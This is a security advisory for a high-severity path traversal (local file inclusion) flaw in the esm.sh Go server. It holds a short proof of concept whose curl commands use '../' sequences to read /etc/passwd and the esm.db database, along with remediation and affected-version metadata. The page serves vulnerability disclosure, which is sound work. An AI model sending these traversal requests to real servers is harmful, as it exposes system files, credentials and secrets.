GHSA-49pv-gwxp-532r

Suggest an improvement
Source
https://github.com/advisories/GHSA-49pv-gwxp-532r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-49pv-gwxp-532r/GHSA-49pv-gwxp-532r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-49pv-gwxp-532r
Aliases
Published
2025-09-17T18:39:20Z
Modified
2026-09-10T03:50:28Z
Severity
  • 7.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
esm.sh has File Inclusion issue
Details

Summary

A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise. Impact: reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.

Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168


Proof of Concept

  1. Using this default config file that I copy from the repo, the server is running at http://localhost:9999 with this command go run server/esmd/main.go --config=config.json
{
  "port": 9999,
  "npmRegistry": "https://registry.npmjs.org/",
  "npmToken": "******"
}

  1. Trigger the LFI vulnerability by sending this command below to read a local file
# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'
poc-image

Remediation

Simply remove any .. in the URL path before actually process the file. See more details in this guide

Credits

Database specific
{
    "cwe_ids": [
        "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-17T18:39:20Z",
    "nvd_published_at": "2025-09-17T18:15:53Z",
    "severity": "HIGH"
}
References

Affected packages

Go / github.com/esm-dev/esm.sh

Package

Name
github.com/esm-dev/esm.sh
View open source insights on deps.dev
Purl
pkg:golang/github.com/esm-dev/esm.sh

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
136

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-49pv-gwxp-532r/GHSA-49pv-gwxp-532r.json"